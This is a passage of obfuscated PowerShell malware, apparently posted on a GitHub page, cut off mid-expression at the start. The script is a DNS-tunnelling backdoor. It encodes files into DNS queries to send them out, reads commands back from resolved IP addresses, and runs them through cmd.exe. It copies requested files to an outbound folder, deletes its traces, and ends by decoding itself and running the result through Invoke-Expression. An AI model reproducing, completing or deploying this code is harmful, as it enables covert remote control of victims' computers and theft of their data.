'+' if (SGFOOD[SGFlen - 1] -e'+'q 0 -and SGFOOD[SGF'+'len - 2] -eq 0)
{
SG'+'FXXD = SGFOOD[0 .. (SGFlen - 3)];
}
elsei'+'f (SGFOOD[SGFlen - 1] -eq 0)
{
SGFXXD = SGFOOD[0 .. (SGFlen - 2)];
}
e'+'lse
{
'+'
SGFXXD = SGFOOD;
}
[System.IO.File]:'+':WriteAllBytes(SG'+'FMMD, SGFXXD);
SGFOOD = @();
SGFXXD = @();
SGFLLD = 0;
SGF{global:SGFRRD} = SGFfalse;
}
if (SGFKKD)
{
if (SGFLLD -gt 250) { SGFLLD = 0; }
if (SGFLLD -eq SGFWWD[3]'+')
{
SGFOOD += SGFWWD[0];
SG'+'FOOD += SGFWWD[1]'+';
SGFOOD += SGFWWD'+'[2];
'+' SGFLLD = SGFLLD + 3'+';
}
}
if ((SGF'+'WWD[0] -eq 24) -and (SGF'+'WWD[1] -eq 125'+'))
{
SGFMMD += X9PrcvdX9P + SGFWWD[2] + X9PX9P + SGFWWD[3];
SGFKKD = SGFtrue;
SGFQQD = X9P1X9P;
SGFLLD = 0;
}
'+'
if ((SGFWWD[0] -eq 11) -and (SGFWWD[1] -eq 24) -and (SGFWWD[2] -eq 237)'+' -and (S'+'GFW'+'WD[3] -eq 110)) # kill '+'this process
{
SGF{global:SGFRRD} = SGFfalse;
SGF{global:SGFSSD} = SGF{global:SGFSSD} + 1;
}
}
Start-Sleep -s 1;
}
function'+' YYD
{
SGFbyts = @(); SGFct = 0; SGFfb '+'= @(); SGFrn = X9P000X9P; SGFZZD = X9PWX'+'9P; SGFrun = SGFtrue; SGFAAE = SGF{global:SGFNND} + X9PMxaX9P;
SGFBBE = 0;
While (SGFrun)
{
Start-S'+'leep -m 50;
if (SG'+'FBBE -gt 5){ SGFrun = SGFfalse;'+' }
if'+' (SGFct -lt 10){SGFrn = X9P000SGF(SGFct)X9P;}
elseif (SGFct -lt 100){SGFrn = X9P00SGF(SGFct)X9P;}
elseif (SGFct -lt 1000){SGFrn = X'+'9P0SGF(SGFct)X9P;}
els'+'e{SGFrn = X9PSGF(SGFct)X9P;}
'+' try
'+'
{
SGFCCE = UUC X9P000X9P '+'SGFZZ'+'D X9PX9P'+' X9PX9P '+'X9PrX9P SGFrn
'+' SGFtmp = GGD(SGFCCE);
SG'+'Fres = '+'[System.Text.Encodin'+'g]::'+'ASCII.GetString(SGFtmp);
}
catch [exception] { Write-Host SGF_; SGF'+'BBE++; SGF{glo'+'bal:SGFTTC}++; cont'+'inue; }
if ([string]::IsNullOrEmpty(SGFres)) { SGFBBE++; SGF{global:SGFTTC}++; continue;}
SGFrs = SGFres.Split(ZxV>ZxV);
SGFdata = X9PX9P;
For (SGFi = 0; SGFi -le SGFrs[1].Length; SGFi++) { if (SG'+'Frs[1][SGFi] -lt 125 -and SGFrs[1][SGFi] -gt 41) { SGFdata += SGFrs[1][SGFi]; } }
if (SGFrs'+'[0][0] -eq X9PNX9P)
{
SGFZZD = X9PWX9P;
SGFBBE++;
continu'+'e;
'+' }
if (SGFrs[0] -eq X9PS000sX9P)
{
SGFBBE = 0;
'+' SGFZZD = X9PDX9P;
SGFAAE'+' += (X9PrcvdX9P+SGFdata);
SGFct = 0;
continue;
}
if (SGFrs['+'0][0] '+'-eq ZxVSZxV -'+'and -not'+' (SGFfb'+' -contains SGFrs[0]))
'+' {'+'
SGFZZD = X9PDX9P;
if (SGFrs[0].EndsWith(SGFrn))
{
t'+'ry
{
'+' SGFtmp = SGFdata.Replace(ZxV-ZxV, ZxV+ZxV).Replace(ZxV_'+'ZxV, ZxV/ZxV);
'+' SGFbyts += [System.Convert]::FromBase64String(SGFtmp);
SGFct++;
SGF'+'fb'+' += SGFrs[0];
}
catch
{
Write-Host X9PException in receiver_X9P+SGF'+'_;
}
}
}
if (SGFrs[0].StartsWith(X9PEX9P))
{
[System.IO'+'.File]::WriteA'+'llBytes(SGFAAE, SGFbyts);
break;
}
if (SGFrs[0].StartsWith(X9PCX9P))
{
SGFct = 0; SGFrun = SGFf'+'alse;
}
}
}
function DDE(SGFEEE)
{
SGFLLD = 0;
SGFFFE = @(gci -path (SGF{global:SGFGGE}+X9PMxaproc*X9'+'P) 7rn ? { !SGF_.PSIsContainer });
if (SGFFFE -ne SGFnull)
{
SGFHHE ='+' SGFFFE[0].ToString().'+'Substring(SGFFFE[0'+'].ToStrin'+'g().L'+'e'+'ngth - 5)
SGFIIE = SGF'+'{gl'+'obal:SGFGGE} + X9PMxaX9P + SGFHHE;'+'
rni SGFFFE[0] S'+'GFIIE -'+'Force
SGFJJE = slaber'+' SGFIIE;
if ([int]SGFJ'+'JE.Length -le 0) { rd -path SGFIIE;return; }
SGFKKE = 60;
SGFLLE = X9P*X9P * 54;
SGFLLE = Split-path SGFIIE -Leaf 7rn % { SGFLLE.Insert(0, SGF_) } 7rn %'+' { SGF_.Insert(6, SGFJJE.Length) } 7rn'+' '+'%{ SGF_[0 .. 26] -join X9PX9P };
SGFLLE = -join (SGFLLE 7rn % { resolver S'+'GF_ })
SGFMME = X9PCOCTabX9P + SGFLLE;
SGFJJE = SGFMME + SGFJJE;
'+'SGFNNE = X9P000X9P;
SGFQQD = X9P2X9P;
SGFOOE = 0;
'+'
SGFPPE = SGFtrue;
SGF{global:SGFRRD} '+'= SGFtrue;
SGFQQE = SGFtrue;
SGF{global:SGFSSD} = 0;
'+' SGF'+'{global:SGFTTD} = 5;
While (SGF{global'+':SGFRRD})
{
Start-Sleep -m 10;
if (SGF{global:SGFSSD} -gt SGF{global:SGFTT'+'D})
{
SGFRRE = SGF{gl'+'obal:SGFGGE} + X9PMxaprocX'+'9P + SGFHHE;'+'
'+' rni SGFIIE SGFRRE -Force;
break;
}
'+' if (SGFLLD -lt 10) { SGFNNE = X9P00SGF(SGFLLD)X9P; }
elseif (SGFLLD -lt 100) { SGFNNE = X9P0SGF(SGFLLD)X9P; }
else { SGFNNE = X9PSGF(SGFLL'+'D)X9P; }
if (SGFL'+'LD -eq 250)
{
if (SGFPPE)
{
SGFOOE += 250;
}
SGFLLD = 0; SGFPPE = SGFfalse;
}
if (SGFLLD -eq 200) { SGFPPE = SGFtrue; }
if (SGFJJE.Length -gt SGFKKE)
{
if ((SGFJJE.L'+'ength - SGFKKE * (SGFLLD + SGFOOE)) -ge SG'+'FKKE)
{
SGFSSE = SG'+'FJJE.Substring(SGFKKE * (SGFLLD + SGFOOE), SGFKKE);
}
elseif ((SGFJJE.Len'+'gth - SGFKKE * (SGFLLD + SGFOOE)) -gt 0)
{
SGFSSE = SGFJJE.Substring(SGFKKE * (SGFLLD + SGFOOE), (SGFJJE.Length - SGFKKE * (SGFLLD + SGFOOE)));
}
els'+'e
{
SGFSSE = X9PCOCTabCOCTX9P;
SGF'+'{global:SGFRRD} = SGFfalse;
'+' '+' rd -path SGFIIE -Force;
}
}
else
{
SGFSSE = SGFJJE;
'+' }
SGFTTE = (Split-path SGFIIE '+'-Leaf) + X9P*X9P 7rn % { resolver SGF_ };
SGFUUD = UUC SGFNNE SGFQQD SGFSSE SGFTTE X9PsX9P X9P0000X9P
try
{
if (SG'+'FEEE -lt 3 -and -not (SGFUUE))
{
'+' '+' SGFVVD = IID('+'SG'+'FUUD);
}
'+'else
{
SGFVVD = [System.Net.Dns]::GetHostAddresses(SGFUUD);
SGFVVD = SGFVVD.I'+'PAddr'+'essToString.Split(ZxV.ZxV)
}
Write-Host SGFVVD;
}'+'
catch [exception] { Wr'+'ite-Host X9Pexcepton occured!X9P+SGF_; SGF{global:SGFSSD}++; continue; }
if (SG'+'FVVD -eq SGFnull) { SGFQQE = SGFfalse; SGF{globa'+'l:SGFSSD}++; continue }
'+'if ((SGFVVD[0] -eq SGFRRC.Substring(0,2)) -and (SGFVVD[1] '+'-eq 2) -and (SGFVVD[2] -eq 3))
{
SGFQQE = SGFfalse;'+'
SGFLLD = [int]SGFVVD[3];
}
'+'
if ((SGFVVD[0] -eq '+'253) -and (SGFVVD[1] -eq 25) -and (SGFVVD[2] -eq 42) -and (SGFVVD[3] -eq 87)) # kill this process
{
SGFQQE = SGFfalse;
SGFOOE = 0
SGF{global:SGFRRD} = SGFfalse;
SGF{global:SGFSSD} = SGF{global:SGFSSD} + 3;
del SGFIIE;
}
if (SGFQQE)
{
'+'
SGF{global:SGFSSD}++;
}
}
}
}
function slab'+'er (SGFVVE) {
SGFf = gc SGFVVE -Encoding Byte;
SGFe = resolver(SGFf);
retur'+'n SGFe;
}
function resolver (SGFWWE) {
SGFcnt = 0;
SGFp1 = X9PX9P;
SGFp2'+' = X9PX9P;
for (SGFi = 0; SGFi -lt SGFWWE.Length; SGFi++)
{
if (SGFcnt -eq 30)
{
SGFcnt = 0;
SGFres += (SGFp1 + SGFp2);
SGF'+'p1 = X9PX9P; SGFp2 = X9PX9P;
}
SGFtmp = [System.BitConverter]::ToString(SGFWWE[SGFi]).Replace(X9P-X9P, X9PX9P);
SGFp1 += SG'+'Ftmp[0];
SGFp2 += SGFtmp[1];
SGFcnt++;
}
SGFres +='+' (SGFp1 + SGFp2);
return SGFres;
}
function XXE
{
SGFFFE = @(gci -path (SGF{global:SGFNND}+X9PMxarcvd'+'*X9P) 7rn ? { !SGF_.PSIsContainer });
if (SGFFFE -ne SGFnull)
{
S'+'GFIIE = SG'+'FFFE[0].ToStri'+'ng()'+'.Replace(X9PrcvdX9P, X9PprocX9P)
rni SGFFFE[0] SGFIIE -Force
'+' SGFYYE = SGFIIE'+' -replace X9PreceiveboxX9P, X9PsendboxX9P;
i'+'f (SGFIIE.EndsWith(X9P0X9P))
{
SGFZZE = gc SGFIIE 7rn'+' ? { SGF_.t'+'rim() -ne X9PX9P };'+'
S'+'GFZZE = SGFZZE 7rn ? { SGF_.trim() -ne X9PX9P }
SGFAAF += (SGFZZE + X9P 2>&1X9P) 7rn % {Try { SGF_ 7rn cmd.exe 7rn Out-String }Catch { SGF_ 7rn Out-Strin'+'g '+'}}
SGFAAF +X9P<>X9P 7rn sc SGFYYE -Encoding UTF8
if (Te'+'st-path -path SGFIIE)
{
rd -path SG'+'FIIE;
}
}
elseif (SGF'+'IIE.EndsWith(X9P1X9P))
{
SGFBBF = gc SGFIIE 7rn ? { SGF_.'+'trim() -ne X9PX9P } 7rn %{ SGF_.Replace(X9PVOl0X9P, X9PX9P).Trim() }
if (Test-path -path SGFBBF)
{
cpi -path SGFBBF -destination SGFYYE -Force;
}
else
{
X9PFile not existX9P 7rn sc SGFYYE;
}
if (Test-path -path SGFIIE)
{
rd -path SGFIIE;
}
'+'
}
'+'else {
SGFCCF = SGFIIE -replac'+'e'+' X9PreceiveboxX9P, X9PdoneX9P;
mi -path SGFIIE -destination SGFCCF'+' -Force;
if (Test-path -path SGFCCF)
{
(X9P200'+'<>X9P + SGFCCF) 7rn sc SGFYYE;
rd -path SGFIIE;
}
}
try
{
rd -path SGFIIE;
}cat'+'ch{}
}
}
SGF{global'+':SGFDDF} = SGFNNC + X9PMxaX9P + SGFRRC;
SGF{global:SGFEEF} = SGFN'+'NC + X9PMxafilesX9P;
SGF{glo'+'b'+'al:SGFNND} = '+'SGF{global:S'+'GFDDF} + X9PMxareceiveboxX9P;
S'+'GF{global:SGFGGE} = SGF{global:SGFDDF} + X9PMxasendboxX9P;
SGF{global:SGFFFF} = SGF{global:SGFDDF} + X9PMxadoneX9P;
'+'
if (-not (Test-Path SGF{global:SGF'+'EEF})) { md SGF{global:SGFEEF}; }
if (-no'+'t (Test-Path SGF{global:SGFDDF}) -or -not (Test-Path SGF{global:SGFGGE}))
{
md SGF{global:SGFDDF};
md SGF{global:SGF'+'GGE};
m'+'d SGF{global:SGFNND};
md SGF{global:SGFFFF};
}
SGFGGF = UU'+'C X9P000X9P X9PMX9P X9PX9P X9PX9P X9PrX9P SGFrn
SGFHHF = [System.Net.Dns]::GetHostAddresses(SGFGGF);
SGFUUE = SGFfalse;
if (SGFHHF -eq X9P99.250.250.1'+'99X9P)
{
SGF{global:SGFTTC} = 0;
YYD;
if (SGF{global:SG'+'FTTC} -gt 3)
{
SGFUUE = SGFtrue;
'+'
SGFIIF = UUC X9P000X'+'9P X9PPX9P X9PX'+'9P X9PX9P X9PrX9P SGFrn
['+'System.Net.Dns]::GetHostAddresses(SGFIIF);
JJD;
}
}
else
{
SGFUUE = SG'+'Ftrue;
JJD;
}
XXE;
DDE(SGF{global:'+'SGFTTC});
# remove lock'+' file to next request
ri -Path SGFPPC;') -CrEPLaCe'Mxa',[chAR]92 -REplace ([chAR]83+[chAR]71+[chAR]70),[chAR]36 -REplace 'X9P',[chAR]34-CrEPLaCe ([chAR]55+[chAR]114+[chAR]110),[chAR]124 -REplace'ZxV',[chAR]39 -REplace'VOl',[chAR]96) | &( $ShelliD[1]+$sHeLLId[13]+'X')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment